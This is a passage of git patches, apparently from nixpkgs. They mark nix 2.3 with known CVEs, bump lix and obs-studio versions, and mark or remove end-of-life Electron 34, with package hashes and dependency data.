+  nonPackageJobs = rec {
+    tarball = import ./make-tarball.nix {
+      inherit
+        pkgs
+        lib-tests
+        nixpkgs
+        officialRelease
+        ;
+    };
 
     release-checks = import ./nixpkgs-basic-release-checks.nix {
       inherit pkgs nixpkgs supportedSystems;

From b5ba0055ef7ec938cecb043b24f70a0a46308e93 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Sun, 29 Jun 2025 14:41:47 +0200
Subject: [PATCH 1822/4511] nixVersions.nix_2_3: add knownVulnerabilities

(cherry picked from commit a61841a597730a4ec18be3f87a257a3989e629dd)
---
 ci/default.nix                                   |  4 +++-
 lib/tests/release.nix                            | 13 ++++++++++---
 .../package-management/nix/common-autoconf.nix   |  3 ++-
 pkgs/tools/package-management/nix/default.nix    |  9 +++++++++
 pkgs/top-level/make-tarball.nix                  |  8 +++++++-
 pkgs/top-level/release.nix                       | 16 +++++++++++++++-
 6 files changed, 46 insertions(+), 7 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index 32e067133422..42eeadc67def 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -18,7 +18,9 @@ let
 
   pkgs = import nixpkgs' {
     inherit system;
-    config = { };
+    config = {
+      permittedInsecurePackages = [ "nix-2.3.18" ];
+    };
     overlays = [ ];
   };
 
diff --git a/lib/tests/release.nix b/lib/tests/release.nix
index 51260ea0300b..5a1752010745 100644
--- a/lib/tests/release.nix
+++ b/lib/tests/release.nix
@@ -2,9 +2,16 @@
   # The pkgs used for dependencies for the testing itself
   # Don't test properties of pkgs.lib, but rather the lib in the parent directory
   system ? builtins.currentSystem,
-  pkgs ? import ../.. { inherit system; } // {
-    lib = throw "pkgs.lib accessed, but the lib tests should use nixpkgs' lib path directly!";
-  },
+  pkgs ?
+    import ../.. {
+      inherit system;
+      config = {
+        permittedInsecurePackages = [ "nix-2.3.18" ];
+      };
+    }
+    // {
+      lib = throw "pkgs.lib accessed, but the lib tests should use nixpkgs' lib path directly!";
+    },
   # For testing someone may edit impure.nix to return cross pkgs, use `pkgsBuildBuild` directly so everything here works.
   pkgsBB ? pkgs.pkgsBuildBuild,
   nix ? pkgs-nixVersions.stable,
diff --git a/pkgs/tools/package-management/nix/common-autoconf.nix b/pkgs/tools/package-management/nix/common-autoconf.nix
index 01b87cddc17d..045670ac578e 100644
--- a/pkgs/tools/package-management/nix/common-autoconf.nix
+++ b/pkgs/tools/package-management/nix/common-autoconf.nix
@@ -11,6 +11,7 @@
     inherit hash;
   },
   patches ? [ ],
+  knownVulnerabilities ? [ ],
   maintainers ? [
     lib.maintainers.lovesegfault
     lib.maintainers.artturin
@@ -335,7 +336,7 @@ let
       '';
       homepage = "https://nixos.org/";
       license = licenses.lgpl21Plus;
-      inherit maintainers teams;
+      inherit knownVulnerabilities maintainers teams;
       platforms = platforms.unix;
       outputsToInstall = [ "out" ] ++ optional enableDocumentation "man";
       mainProgram = "nix";
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 3d0f7884f77e..882cd0b7e000 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -159,6 +159,15 @@ lib.makeExtensible (
             patch-monitorfdhup
           ];
           self_attribute_name = "nix_2_3";
+          knownVulnerabilities = [
+            "CVE-2024-38531"
+            "CVE-2024-47174"
+            "CVE-2025-46415"
+            "CVE-2025-46416"
+            "CVE-2025-52991"
+            "CVE-2025-52992"
+            "CVE-2025-52993"
+          ];
           maintainers = with lib.maintainers; [ flokli ];
           teams = [ ];
         }).overrideAttrs
diff --git a/pkgs/top-level/make-tarball.nix b/pkgs/top-level/make-tarball.nix
index 1b90e4bfdb66..b1ddef188d93 100644
--- a/pkgs/top-level/make-tarball.nix
+++ b/pkgs/top-level/make-tarball.nix
@@ -3,7 +3,13 @@
   officialRelease,
   pkgs ? import nixpkgs.outPath { },
   nix ? pkgs.nix,
-  lib-tests ? import ../../lib/tests/release.nix { inherit pkgs; },
+  lib-tests ? import ../../lib/tests/release.nix {
+    pkgs = import nixpkgs.outPath {
+      config = {
+        permittedInsecurePackages = [ "nix-2.3.18" ];
+      };
+    };
+  },
 }:
 
 pkgs.releaseTools.sourceTarball {
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index 21555a3e03d0..49ee9782ad53 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -86,6 +86,7 @@ let
     id
     isDerivation
     optionals
+    recursiveUpdate
     ;
 
   inherit (release-lib.lib.attrsets) unionOfDisjoint;
@@ -111,7 +112,20 @@ let
 
     manual = pkgs.nixpkgs-manual.override { inherit nixpkgs; };
     metrics = import ./metrics.nix { inherit pkgs nixpkgs; };
-    lib-tests = import ../../lib/tests/release.nix { inherit pkgs; };
+    lib-tests = import ../../lib/tests/release.nix {
+      pkgs = import nixpkgs (
+        recursiveUpdate
+          (recursiveUpdate {
+            inherit system;
+            config.allowUnsupportedSystem = true;
+          } nixpkgsArgs)
+          {
+            config.permittedInsecurePackages = nixpkgsArgs.config.permittedInsecurePackages or [ ] ++ [
+              "nix-2.3.18"
+            ];
+          }
+      );
+    };
     pkgs-lib-tests = import ../pkgs-lib/tests { inherit pkgs; };
 
     darwin-tested =

From f2cd69a8919dbd218bd0be09853a43808a09b1c6 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Mon, 30 Jun 2025 01:17:51 +0200
Subject: [PATCH 1823/4511] lixPackageSets.lix_2_91: patch for the critical
 correctness bug

This adds also other bugs fixes as a fallout of the CVE fixes.
https://lix.systems/blog/2025-06-27-lix-critical-bug/

Change-Id: I62aeb14620be7f70a96e9803abbead42bb65eb31
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 6df8255dd7ea..b1569bf33675 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -154,13 +154,13 @@ lib.makeExtensible (self: {
     attrName = "lix_2_91";
 
     lix-args = rec {
-      version = "2.91.2";
+      version = "2.91.3";
 
       src = fetchFromGitHub {
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-TkRjskDnxMPugdLQE/LqIh59RYQFJLYpIuL8YZva2lM=";
+        hash = "sha256-b5d+HnPcyHz0ZJW1+LZl4qm4LGTB/TiaDFQVlVL2xpE=";
       };
 
       docCargoDeps = rustPlatform.fetchCargoVendor {

From bd99fb840e29301b1128a3f9e0bf87e1111483d8 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Mon, 30 Jun 2025 01:17:57 +0200
Subject: [PATCH 1824/4511] lixPackageSets.lix_2_92: patch for the critical
 correctness bug

This adds also other bugs fixes as a fallout of the CVE fixes.
https://lix.systems/blog/2025-06-27-lix-critical-bug/

Change-Id: I6118977a6e22d3f2b5358d0de1dacb9b8862a20f
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index b1569bf33675..5fbe395c416a 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -186,13 +186,13 @@ lib.makeExtensible (self: {
     attrName = "lix_2_92";
 
     lix-args = rec {
-      version = "2.92.2";
+      version = "2.92.3";
 
       src = fetchFromGitHub {
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-D7YepvFkGE4K1rOkEYA1P6wGj/eFbQXb03nLdBRjjwA=";
+        hash = "sha256-iP2iUDxA99RcgQyZROs7bQw8pqxa1vFudRqjAIHg9Iw=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From 5f3aa7f4c7c8a3667d72f62185732f69bf897a3a Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Mon, 30 Jun 2025 01:18:05 +0200
Subject: [PATCH 1825/4511] lixPackageSets.lix_2_93: patch for the critical
 correctness bug

This adds also other bugs fixes as a fallout of the CVE fixes.
https://lix.systems/blog/2025-06-27-lix-critical-bug/

Change-Id: Ibb22af532ad1d11fcce51aa6fdf185918de3878a
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 5fbe395c416a..42bc8c641a69 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -216,14 +216,14 @@ lib.makeExtensible (self: {
     attrName = "lix_2_93";
 
     lix-args = rec {
-      version = "2.93.1";
+      version = "2.93.2";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-LmQhjQ7c+AOkwhvR9GFgJOy8oHW35MoQRELtrwyVnPw=";
+        hash = "sha256-J4ycLoXHPsoBoQtEXFCelL4xlq5pT8U9tNWNKm43+YI=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From 29fd210a113675394da48dbb459da2cbdafe50f8 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Mon, 30 Jun 2025 09:14:13 +0200
Subject: [PATCH 1826/4511] obs-studio: 31.0.3 -> 31.0.4

(cherry picked from commit d923eaab472f6cbb6c68fc876686c2d25cc041fc)
---
 pkgs/applications/video/obs-studio/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/video/obs-studio/default.nix b/pkgs/applications/video/obs-studio/default.nix
index 85619d66e647..c9e07022bcd0 100644
--- a/pkgs/applications/video/obs-studio/default.nix
+++ b/pkgs/applications/video/obs-studio/default.nix
@@ -81,13 +81,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "obs-studio";
-  version = "31.0.3";
+  version = "31.0.4";
 
   src = fetchFromGitHub {
     owner = "obsproject";
     repo = "obs-studio";
     rev = finalAttrs.version;
-    hash = "sha256-i1wkGlafPvfMTsQr5Ww5iwmUu+23cr0YmN10llJfohA=";
+    hash = "sha256-YxBPVXin8oJlo++oJogY1WMamIJmRqtSmKZDBsIZPU4=";
     fetchSubmodules = true;
   };
 

From 3f3ff0ff414c69f20fd502c91367f30939ea795a Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 25 Jun 2025 16:37:32 +0200
Subject: [PATCH 1827/4511] electron_34-bin: mark as insecure because it's EOL

https://github.com/electron/electron/blob/e4c37e4b38195bd0cf7f0ae8257ac6d7fd5e4603/docs/tutorial/electron-timelines.md
(cherry picked from commit 4d9871f2b29d5ea0f6c6abb987023d28b7451632)
---
 pkgs/development/tools/electron/binary/generic.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/tools/electron/binary/generic.nix b/pkgs/development/tools/electron/binary/generic.nix
index fc526ec15c7f..8bd49c6ed39c 100644
--- a/pkgs/development/tools/electron/binary/generic.nix
+++ b/pkgs/development/tools/electron/binary/generic.nix
@@ -58,7 +58,7 @@ let
     ];
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
     # https://www.electronjs.org/docs/latest/tutorial/electron-timelines
-    knownVulnerabilities = optional (versionOlder version "34.0.0") "Electron version ${version} is EOL";
+    knownVulnerabilities = optional (versionOlder version "35.0.0") "Electron version ${version} is EOL";
   };
 
   fetcher =

From f42c64335678683acaa28583e887dd31e09f3509 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 25 Jun 2025 16:36:16 +0200
Subject: [PATCH 1828/4511] electron-source.electron_34: remove as it's EOL

https://github.com/electron/electron/blob/e4c37e4b38195bd0cf7f0ae8257ac6d7fd5e4603/docs/tutorial/electron-timelines.md
(cherry picked from commit 0251292ee997c11077390c15ca80b293dc63c4f2)
---
 pkgs/development/tools/electron/info.json | 1277 ---------------------
 pkgs/top-level/all-packages.nix           |    6 +-
 2 files changed, 1 insertion(+), 1282 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index d2e91a284230..8e0d27e7ed4f 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1,1281 +1,4 @@
 {
-    "34": {
-        "chrome": "132.0.6834.210",
-        "chromium": {
-            "deps": {
-                "gn": {
-                    "hash": "sha256-zZoD5Bx7wIEP2KJkHef6wHrxU3px+8Vseq29QcK32bg=",
-                    "rev": "feafd1012a32c05ec6095f69ddc3850afb621f3a",
-                    "url": "https://gn.googlesource.com/gn",
-                    "version": "2024-10-14"
-                }
-            },
-            "version": "132.0.6834.210"
-        },
-        "chromium_npm_hash": "sha256-H1/h3x+Cgp1x94Ze3UPPHxRVpylZDvpMXMOuS+jk2dw=",
-        "deps": {
-            "src": {
-                "args": {
-                    "hash": "sha256-NVaErCSvuTQyt7yv2sc4aIX2J/6mxM648Wbbut2Jjxc=",
-                    "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "132.0.6834.210",
-                    "url": "https://chromium.googlesource.com/chromium/src.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/chrome/test/data/perf/canvas_bench": {
-                "args": {
-                    "hash": "sha256-svOuyBGKloBLM11xLlWCDsB4PpRjdKTBdW2UEW4JQjM=",
-                    "rev": "a7b40ea5ae0239517d78845a5fc9b12976bfc732",
-                    "url": "https://chromium.googlesource.com/chromium/canvas_bench.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/chrome/test/data/perf/frame_rate/content": {
-                "args": {
-                    "hash": "sha256-t4kcuvH0rkPBkcdiMsoNQaRwU09eU+oSvyHDiAHrKXo=",
-                    "rev": "c10272c88463efeef6bb19c9ec07c42bc8fe22b9",
-                    "url": "https://chromium.googlesource.com/chromium/frame_rate/content.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/chrome/test/data/xr/webvr_info": {
-                "args": {
-                    "hash": "sha256-BsAPwc4oEWri0TlqhyxqFNqKdfgVSrB0vQyISmYY4eg=",
-                    "rev": "c58ae99b9ff9e2aa4c524633519570bf33536248",
-                    "url": "https://chromium.googlesource.com/external/github.com/toji/webvr.info.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/docs/website": {
-                "args": {
-                    "hash": "sha256-CqveHvjPEcRWnzi8w13xr2OainrmABNO8uj0GzKmQqo=",
-                    "rev": "be9c3dfd3781964fc0bab0d6c91d9ad117b71b02",
-                    "url": "https://chromium.googlesource.com/website.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/electron": {
-                "args": {
-                    "hash": "sha256-ABlVuW0EUsFUyuIaugoI09EsHF+g7fxRSS/bOaOAkjg=",
-                    "owner": "electron",
-                    "repo": "electron",
-                    "tag": "v34.5.8"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/media/cdm/api": {
-                "args": {
-                    "hash": "sha256-6J6aSYW0or99VAgMNJJOdJqMJspoG7w1HxDN50MV5bw=",
-                    "rev": "eb21edc44e8e5a82095037be80c8b15c51624293",
-                    "url": "https://chromium.googlesource.com/chromium/cdm.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/net/third_party/quiche/src": {
-                "args": {
-                    "hash": "sha256-Z2uFWfZDYcY0m4R6mFMZJLnnVHu3/hQOAkCPQ5049SQ=",
-                    "rev": "9616efc903b7469161996006c8cf963238e26503",
-                    "url": "https://quiche.googlesource.com/quiche.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/testing/libfuzzer/fuzzers/wasm_corpus": {
-                "args": {
-                    "hash": "sha256-gItDOfNqm1tHlmelz3l2GGdiKi9adu1EpPP6U7+8EQY=",
-                    "rev": "1df5e50a45db9518a56ebb42cb020a94a090258b",
-                    "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/accessibility_test_framework/src": {
-                "args": {
-                    "hash": "sha256-mzVgoxxBWebesG6okyMxxmO6oH+TITA4o9ucHHMMzkQ=",
-                    "rev": "4a764c690353ea136c82f1a696a70bf38d1ef5fe",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/Accessibility-Test-Framework-for-Android.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/angle": {
-                "args": {
-                    "hash": "sha256-fMIHpa2QFsQQ19LGyhvV3Ihh6Ls8wwwhqTtpLoTEaf4=",
-                    "rev": "ce13a00a2b049a1ef5e0e70a3d333ce70838ef7b",
-                    "url": "https://chromium.googlesource.com/angle/angle.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/angle/third_party/VK-GL-CTS/src": {
-                "args": {
-                    "hash": "sha256-2ZhG4cJf85zO7x+SGG6RD2qgOxZVosxAIbuZt9GYUKs=",
-                    "rev": "f674555ab03e6355e0981a647c115097e9fe5324",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/angle/third_party/glmark2/src": {
-                "args": {
-                    "hash": "sha256-L7+zWM0qn8WFhmON7DGvarTsN1YHt1sn5+hazTOZrrk=",
-                    "rev": "ca8de51fedb70bace5351c6b002eb952c747e889",
-                    "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/angle/third_party/rapidjson/src": {
-                "args": {
-                    "hash": "sha256-btUl1a/B0sXwf/+hyvCvVJjWqIkXfVYCpHm3TeBuOxk=",
-                    "rev": "781a4e667d84aeedbeb8184b7b62425ea66ec59f",
-                    "url": "https://chromium.googlesource.com/external/github.com/Tencent/rapidjson"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/anonymous_tokens/src": {
-                "args": {
-                    "hash": "sha256-PMB49+zW9ewlS9ym+xi0xYQYLN0j5Urx6yBXWd8FjjI=",
-                    "rev": "6ea6ec78f9e4998d0a7a5677b2aec08f0ac858f8",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/beto-core/src": {
-                "args": {
-                    "hash": "sha256-QPFGjtu/I0r4+dTQ2eSlWIEYwJ43B3yW0q4QtVFTVGY=",
-                    "rev": "89563fec14c756482afa08b016eeba9087c8d1e3",
-                    "url": "https://beto-core.googlesource.com/beto-core.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/boringssl/src": {
-                "args": {
-                    "hash": "sha256-ib9wbV6S64OFc4zx0wQsQ84+5RxbETK0PS9Wm1BFQ1U=",
-                    "rev": "571c76e919c0c48219ced35bef83e1fc83b00eed",
-                    "url": "https://boringssl.googlesource.com/boringssl.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/breakpad/breakpad": {
-                "args": {
-                    "hash": "sha256-cFXUi2oO/614jF0GV7oW0ss62dXWFHDNWNT8rWHAiQc=",
-                    "rev": "47f7823bdf4b1f39e462b2a497a674860e922e38",
-                    "url": "https://chromium.googlesource.com/breakpad/breakpad.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cast_core/public/src": {
-                "args": {
-                    "hash": "sha256-o5/Lbhh6HHSWCVCEyDwDCgs+PLm67si981w0HuIWY7c=",
-                    "rev": "fbc5e98031e1271a0a566fcd4d9092b2d3275d05",
-                    "url": "https://chromium.googlesource.com/cast_core/public"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/catapult": {
-                "args": {
-                    "hash": "sha256-65cZPyqZUdSnYPJYUMYeJgx3mUC6L/qb9P2bDqd2Zkk=",
-                    "rev": "b91cf840ac3255ef03b23cc93621369627422a1a",
-                    "url": "https://chromium.googlesource.com/catapult.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ced/src": {
-                "args": {
-                    "hash": "sha256-ySG74Rj2i2c/PltEgHVEDq+N8yd9gZmxNktc56zIUiY=",
-                    "rev": "ba412eaaacd3186085babcd901679a48863c7dd5",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/chromium-variations": {
-                "args": {
-                    "hash": "sha256-mg5mu2jcy0xyNJ650ywWUMC94keRsqhZQuPZclHmyLI=",
-                    "rev": "c170abb48f7715c237f4c06eaed0fe6f8a4c6f8d",
-                    "url": "https://chromium.googlesource.com/chromium-variations.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/clang-format/script": {
-                "args": {
-                    "hash": "sha256-whD8isX2ZhLrFzdxHhFP1S/sZDRgyrzLFaVd7OEFqYo=",
-                    "rev": "3c0acd2d4e73dd911309d9e970ba09d58bf23a62",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/clang/tools/clang-format.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cld_3/src": {
-                "args": {
-                    "hash": "sha256-C3MOMBUy9jgkT9BAi/Fgm2UH4cxRuwSBEcRl3hzM2Ss=",
-                    "rev": "b48dc46512566f5a2d41118c8c1116c4f96dc661",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/cld_3.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/colorama/src": {
-                "args": {
-                    "hash": "sha256-6ZTdPYSHdQOLYMSnE+Tp7PgsVTs3U2awGu9Qb4Rg/tk=",
-                    "rev": "3de9f013df4b470069d03d250224062e8cf15c49",
-                    "url": "https://chromium.googlesource.com/external/colorama.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/content_analysis_sdk/src": {
-                "args": {
-                    "hash": "sha256-f5Jmk1MiGjaRdLun+v/GKVl8Yv9hOZMTQUSxgiJalcY=",
-                    "rev": "9a408736204513e0e95dd2ab3c08de0d95963efc",
-                    "url": "https://chromium.googlesource.com/external/github.com/chromium/content_analysis_sdk.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cpu_features/src": {
-                "args": {
-                    "hash": "sha256-E8LoVzhe+TAmARWZTSuINlsVhzpUJMxPPCGe/dHZcyA=",
-                    "rev": "936b9ab5515dead115606559502e3864958f7f6e",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/cpu_features.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cpuinfo/src": {
-                "args": {
-                    "hash": "sha256-FlvmSjY8kt5XHymDLaZdPuZ4k5xcagJk8w/U6adTkWI=",
-                    "rev": "8df44962d437a0477f07ba6b8843d0b6a48646a4",
-                    "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/crabbyavif/src": {
-                "args": {
-                    "hash": "sha256-hO5epHYNYI6pGwVSUv1Hp3qb7qOv8uOs4u+IdhDxd8Q=",
-                    "rev": "c3548280e0a516ed7cad7ff1591b5807cef64aa4",
-                    "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/crc32c/src": {
-                "args": {
-                    "hash": "sha256-KBraGaO5LmmPP+p8RuDogGldbTWdNDK+WzF4Q09keuE=",
-                    "rev": "d3d60ac6e0f16780bcfcc825385e1d338801a558",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cros-components/src": {
-                "args": {
-                    "hash": "sha256-owXaTIj0pbhUeJkirxaRoCmgIN9DwNzY3h771kaN+Fc=",
-                    "rev": "9129cf4b2a5ca775c280243257a0b4856a93c7fb",
-                    "url": "https://chromium.googlesource.com/external/google3/cros_components.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/cros_system_api": {
-                "args": {
-                    "hash": "sha256-fvGypRhgl2uX9YE2cwjL7d3pYBa3Imd5p0RLhMYRgrc=",
-                    "rev": "554629b9242e6ae832ef14e3384654426f7fcc06",
-                    "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/crossbench": {
-                "args": {
-                    "hash": "sha256-/K6eM9s+fd2wjCrK0g0CgFNy0zxEN9SxTvmE50hMtXw=",
-                    "rev": "ae6f165652e0ea983d73f5d04b7470d08c869e4f",
-                    "url": "https://chromium.googlesource.com/crossbench.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dav1d/libdav1d": {
-                "args": {
-                    "hash": "sha256-Q2CaWvDqOmfaPG6a+SUHG5rFHalPEf4Oq/ytT3xuSOk=",
-                    "rev": "93f12c117a4e1c0cc2b129dcc52e84dbd9b84200",
-                    "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn": {
-                "args": {
-                    "hash": "sha256-1d8cCtqBIfYbVqUQ4q4BtH2FujbNJeeW9agJUjcktgE=",
-                    "rev": "c3530f2883610bb6606a5f55935c189e732e67d0",
-                    "url": "https://dawn.googlesource.com/dawn.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/dxc": {
-                "args": {
-                    "hash": "sha256-rhUNPA5b0H3PBsOpXbAeRLpS0tNQkiHbjRBWmJycSAY=",
-                    "rev": "ac36a797d3470e8ee906b98457a59270d01db30d",
-                    "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/dxheaders": {
-                "args": {
-                    "hash": "sha256-0Miw1Cy/jmOo7bLFBOHuTRDV04cSeyvUEyPkpVsX9DA=",
-                    "rev": "980971e835876dc0cde415e8f9bc646e64667bf7",
-                    "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/glfw": {
-                "args": {
-                    "hash": "sha256-E1zXIDiw87badrLOZTvV+Wh9NZHu51nb70ZK9vlAlqE=",
-                    "rev": "b35641f4a3c62aa86a0b3c983d163bc0fe36026d",
-                    "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/khronos/EGL-Registry": {
-                "args": {
-                    "hash": "sha256-Z6DwLfgQ1wsJXz0KKJyVieOatnDmx3cs0qJ6IEgSq1A=",
-                    "rev": "7dea2ed79187cd13f76183c4b9100159b9e3e071",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/EGL-Registry"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/khronos/OpenGL-Registry": {
-                "args": {
-                    "hash": "sha256-K3PcRIiD3AmnbiSm5TwaLs4Gu9hxaN8Y91WMKK8pOXE=",
-                    "rev": "5bae8738b23d06968e7c3a41308568120943ae77",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/OpenGL-Registry"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/webgpu-cts": {
-                "args": {
-                    "hash": "sha256-ArbHGjkHd1sko7gDPFksYz7XHKNge+e6tVy6oKPuqzg=",
-                    "rev": "8690defa74b6975c10e85c113f121d4b2a3f2564",
-                    "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dawn/third_party/webgpu-headers": {
-                "args": {
-                    "hash": "sha256-J3PcwYoO79HqrACFgk77BZLTCi7oi5k2J6v3wlcFVD4=",
-                    "rev": "8049c324dc7b3c09dc96ea04cb02860f272c8686",
-                    "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/depot_tools": {
-                "args": {
-                    "hash": "sha256-m/6b4VZZTUQOeED1mYvZOQCx8Re+Zd4O8SKDMjJ9Djo=",
-                    "rev": "41d43a2a2290450aeab946883542f8049b155c87",
-                    "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/devtools-frontend/src": {
-                "args": {
-                    "hash": "sha256-mBWZdbgZfO01Pt2lZSHX/d5r+8A/+qCZA8MRtZdeTrs=",
-                    "rev": "f2f3682c9db8ca427f8c64f0402cc2c5152c6c24",
-                    "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/dom_distiller_js/dist": {
-                "args": {
-                    "hash": "sha256-yuEBD2XQlV3FGI/i7lTmJbCqzeBiuG1Qow8wvsppGJw=",
-                    "rev": "199de96b345ada7c6e7e6ba3d2fa7a6911b8767d",
